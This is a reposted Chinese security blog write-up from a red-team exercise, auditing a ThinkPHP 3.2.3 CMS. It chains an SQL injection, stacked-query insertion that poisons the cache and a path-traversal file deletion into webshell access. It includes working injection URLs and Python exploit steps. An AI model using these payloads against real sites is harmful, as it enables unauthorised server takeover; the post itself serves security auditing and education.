攻防|记一次hvv中供应链拿靶标的代码审计过程

举报
亿人安全 发表于 2024/11/30 21:40:04 2024/11/30
【摘要】  原文首发:奇安信攻防社区https://forum.butian.net/share/3880某地市级hvv,某下级单位研究院官网使用了这套cms,通过供应链拿到源码,并开始了thinkphp3.2.3审计过程。前言地市级hvv,某下级单位研究院官网使用了这套cms,提取关键字在fofa查询,发现使用该程序的站点有300+,导出目标,使用目录扫描跑一下备份文件,结果不出所料,这么多站点总是...

 原文首发:奇安信攻防社区

https://forum.butian.net/share/3880

某地市级hvv,某下级单位研究院官网使用了这套cms,通过供应链拿到源码,并开始了thinkphp3.2.3审计过程。

前言

地市级hvv,某下级单位研究院官网使用了这套cms,提取关键字在fofa查询,发现使用该程序的站点有300+,导出目标,使用目录扫描跑一下备份文件,结果不出所料,这么多站点总是有软柿子的拿到源码开始审计。

审计过程

源码是thinkphp3.2.3的,比较熟悉,最终通过sql注入插入数据+缓存漏洞成功getsell

Sql注入

这个版本的thinkphp是有很多注入的,find(),select(),delete()都有可能造成注入,先来搜搜find参数,发现一段代码如下:

function getPosition($catid){
    $cate = M('category')->find($catid);
    $pos_id = array(['id'=>$catid,'name'=>$cate['name']]);

很明显,存在find的sql注入,全局搜索getPosition函数看看在哪里被调用

 public function position() {
        $pos = getPosition(I('get.catid'));
        $this->pos = $pos;
        $this->display('Public:position');
    }

position函数调用了getPosition方法,并且传入的catid也是直接通过I获取的,这里显而易见存在find注入,可直接获取数据。

/index.php?s=/Cn/public/position&catid[where]=11111

但是获取的后台密码无法解密,后续也是通过审计找到好几个注入,但都无法进到后台。
这个版本还有反序列化,但反序列化后的效果也是实现sql注入,都比较鸡肋。

缓存漏洞

thinkhp3.2.3是存在S缓存漏洞的

    public function test02(){
        S('name',"\nphpinfo();//");
    }

当S的第二个参数可控时,便可以向缓存文件写入内容来getshell,全局搜索S,发现很多地方调用了S,但是挨个看下来之后,第二个参数都无法直接控制。

图片

在这里磕了一点时间,突然想到ThinkPHP 3.2.3默认使用的是PDO驱动来实现的数据库类,而PDO默认是支持多语句查询的,所以前面的注入是可以进行堆叠注入的。
也就是说我们可以利用堆叠注入向数据库中插入语句,然后去找S的第二个参数是从数据库中取值的地方就可以利用了,有了思路很快就定位到一个地方:

function setConfig($name = 'ALL_CONFIG', $siteid = array()) {
    $config = M('Config');
    $where['status'] = 1;
    if (!empty($siteid)) {
        $where['siteid'] = array('in', $siteid);
    }
    $data = $config->field('id,name,title,value')->where($where)->order('sort ASC')->select();
//设置缓存数组
    $cache_data = array();
    if (!empty($data)) {
        foreach ($data as $key => $value) {
            $cache_data[$value['name']] = $value['value'];
        }
    }

//先删除缓存
    $previous_cache = S($name);
    if (!empty($previous_cache)) {
        S($name, null);
    }
//设置缓存
    S($name, $cache_data);
}

setConfig函数通过S($name, $cache_data)写入缓存,而$cache_data又是从M('Config')中查询数据获取的,我们只需要控制sql注入,向config中插入一条数据即可利用缓存漏洞getshell。
接着往上追,看一下哪里调用的setConfig。
在/Apps/Cn/Controller/CommonController.class.php中看到

    public function _initialize() {
        //验证是否安装
        if (!file_exists('./data/system_install.lock')) {
            $this->redirect("Install/Index/index");
        }

       ...

        //获取配置

        $system_config = S('ALL_CONFIG' . C('SITEID'));
        //空的情况下生成缓存
        if (empty($system_config)) {
            //生成缓存
            setConfig('ALL_CONFIG' . C('SITEID'), array(0, C('SITEID')));
            $system_config = S('ALL_CONFIG' . C('SITEID'));
        }

$system_config为空时,调用setConfig

在S函数中

function S($name,$value='',$options=null) {

    static $cache   =   '';
    if(is_array($options)){
        // 缓存操作的同时初始化
        $type       =   isset($options['type'])?$options['type']:'';
        $cache      =   Think\Cache::getInstance($type,$options);
    }elseif(is_array($name)) { // 缓存初始化
        $type       =   isset($name['type'])?$name['type']:'';
        $cache      =   Think\Cache::getInstance($type,$name);
        return $cache;
    }elseif(empty($cache)) { // 自动初始化
        $cache      =   Think\Cache::getInstance();
    }

    if(''=== $value){ // 获取缓存
        return $cache->get($name);
    }elseif(is_null($value)) { // 删除缓存
        return $cache->rm($name);
    }else { // 缓存数据
        if(is_array($options)) {
            $expire     =   isset($options['expire'])?$options['expire']:NULL;
        }else{
            $expire     =   is_numeric($options)?$options:NULL;
        }
        return $cache->set($name, $value, $expire);
    }
    exit;
}

会先进入$cache->get($name)判断之前是否有缓存,如果没有的话,则调用setConfig,生成的缓存文件名为ALL_CONFIG1的md5,路径为Apps\Runtime\Temp\94b4e91cbccc674ec30f286e193c1703.php
如果缓存已经存在的话,则直接读取缓存,所以如果想进入setConfig的话,还需要想办法把已有的缓存文件给删掉。

任意文件删除

我们只需要在找到一个任意文件删除,把已有的缓存文件删除掉,就可以满足getshell的所有条件。
然后全局搜索unlink找到如下位置:
/xxlogin/Controller/UeditorController.class.php

    public function delFile(){
        if(IS_POST){
            $filename=I("filename");
            if(!$filename){
                $this->ajaxReturn(array("status"=>0,"msg"=>"文件不存在"));
            }
            $type=I("post.type");
            $data_path=$this->data_path;
            if($type==1){
                $data_path=$this->data_path.I("post.dirname")."/";
            }
            $dir=$data_path.$filename;
            if(is_file($dir)){
                $ok=unlink($dir);
                if($ok){
                    $this->ajaxReturn(array("status"=>1,"msg"=>"删除成功"));
                }else{
                    $this->ajaxReturn(array("status"=>0,"msg"=>"删除失败"));
                }
            }else{
                $this->ajaxReturn(array("status"=>0,"msg"=>"文件不存在"));
            }
        }
    }

直接传入filename,通过

$dir=$data_path.$filename;

拼接进$dir,然后执行

$ok=unlink($dir);

至此getshell的各要素已经齐备,可以进行利用了

漏洞利用

  • 利用sql注入向config表中写入写入数据,需要进行换行操作并且闭合后面的代码:

u = "/index.php?s=/Cn/public/position&catid[where]=11111;insert+into+yongsy_config(name,value)+values('1','511111222222111111333333\r\necho+md5(11);/*')%23"
    vul_url = url + u
header = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }

resp = requests.get(vul_url, verify=False, timeout=5)
  • 利用任意文件删除漏洞删除缓存

clearurl=url+"/index.php?s=xxlogin/ueditor/delFile"
data="filename=../../Apps/Runtime/Temp/94b4e91cbccc674ec30f286e193c1703.php"
clearr=requests.post(clearurl,headers=header,data=data,verify=False, timeout=5)
  • 访问任意页面生成缓存(_initialize是全局函数)

  • 访问生成的缓存即可getshell

shell_url = url + "/Apps/Runtime/Temp/94b4e91cbccc674ec30f286e193c1703.php"

总结

之前碰到thinkphp3.2.3版本的都是找S函数的直接可控点,并没有想过利用注入来插入数据,主要还是比较菜,可能对于大佬们来说就是基操。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。